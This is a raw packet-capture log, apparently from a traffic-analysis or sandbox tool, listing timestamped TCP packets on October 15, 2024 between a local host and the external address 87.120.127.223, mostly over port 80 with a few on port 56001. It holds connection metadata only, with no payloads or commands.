Oct 15, 2024 19:22:40.315526009 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315526962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315542936 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315558910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315562010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315592051 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315599918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315614939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315629959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315644979 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.315656900 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.315690041 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.356237888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356266975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356282949 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356304884 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.356337070 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.356358051 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356412888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356426954 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356451988 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356467009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356491089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.356493950 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.356542110 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.357995033 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.358052969 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.358067989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.358108997 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.358136892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.358154058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.358194113 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.429522991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429553032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429569006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429637909 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429637909 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.429653883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429680109 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.429843903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429884911 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.429899931 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429914951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.429958105 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430006981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430022955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430037022 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430052996 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430063963 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430094957 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430273056 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430289030 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430304050 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430319071 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430325985 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430335045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430351019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430366993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430366993 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430389881 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.430423021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430438042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.430464029 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.431806087 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431832075 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431845903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431895971 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.431936979 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.431943893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431957960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431972980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431988001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.431994915 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432029009 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432060957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432147980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432162046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432177067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432192087 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432193995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432215929 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432234049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432295084 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432327986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432343006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432358027 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432373047 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432384014 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.432388067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.432420015 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.471909046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.471962929 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.471981049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.471997023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472043991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472059011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472074032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472090006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472100973 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.472134113 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.472171068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472187042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472203016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472215891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.472228050 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.472261906 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.473613977 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.473639011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.473697901 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.473707914 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.473723888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.473752975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.473769903 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.525621891 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546274900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546303034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546319008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546350002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546354055 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546365976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546380043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546401978 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546425104 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546499014 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546513081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546528101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546545982 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546742916 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546758890 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546772957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546789885 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546796083 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546806097 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546812057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546824932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546838999 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546848059 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546854973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546875000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546894073 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546911955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546915054 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.546926975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546941996 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546957016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546972036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.546983004 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.547003031 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548528910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548578024 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548594952 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548610926 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548696995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548703909 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548718929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548757076 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548852921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548868895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548883915 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548897982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548901081 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548913002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548937082 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.548949957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548964977 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.548986912 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.549105883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549120903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549135923 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549146891 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.549151897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549168110 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549170971 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.549184084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549200058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.549218893 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.549243927 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607436895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607487917 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607502937 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607558012 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607559919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607575893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607590914 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607605934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607611895 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607640982 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607737064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607752085 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607767105 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607784033 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607795000 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607821941 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607897997 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607913017 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607928991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607942104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.607954979 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.607989073 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.660974026 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661006927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661024094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661040068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661056042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661062956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661071062 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661072969 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661137104 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661140919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661156893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661195040 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661201000 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661210060 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661226034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661242008 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661294937 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661351919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661376953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661392927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661406994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661422014 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661422968 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661449909 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661474943 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661489964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661504030 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661531925 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661560059 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661602020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661617994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661633015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661648989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.661660910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.661689043 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.663988113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664002895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664017916 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664047956 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664093018 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664107084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664196014 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664210081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664221048 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664257050 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664289951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664304972 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664320946 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664335966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664350986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664422035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664431095 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664469004 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664469004 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664503098 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664518118 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664531946 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664550066 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664585114 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664612055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664628029 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664643049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664658070 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664673090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664736986 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664756060 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664772034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664787054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664803028 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.664820910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.664863110 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.674770117 CEST	56001	49826	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.674837112 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.707245111 CEST	49826	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.712121964 CEST	56001	49826	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723026037 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723093033 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723151922 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723155975 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723203897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723256111 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723272085 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723289013 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723320007 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723368883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723375082 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723437071 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723443985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723478079 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723510981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723531961 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723540068 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723572016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723604918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723629951 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723638058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723671913 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723673105 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.723707914 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.723759890 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777412891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777435064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777461052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777476072 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777493000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777507067 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777570963 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777575970 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777587891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777607918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777618885 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777622938 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777671099 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777671099 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777686119 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777709007 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777714968 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777724981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777769089 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777817011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777832031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777884007 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777889967 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777905941 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777934074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.777976990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.777992010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.778023005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.778023958 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.778069973 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.778101921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.778162956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.778177977 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.778215885 CEST	49807	80	192.168.2.5	87.120.127.223
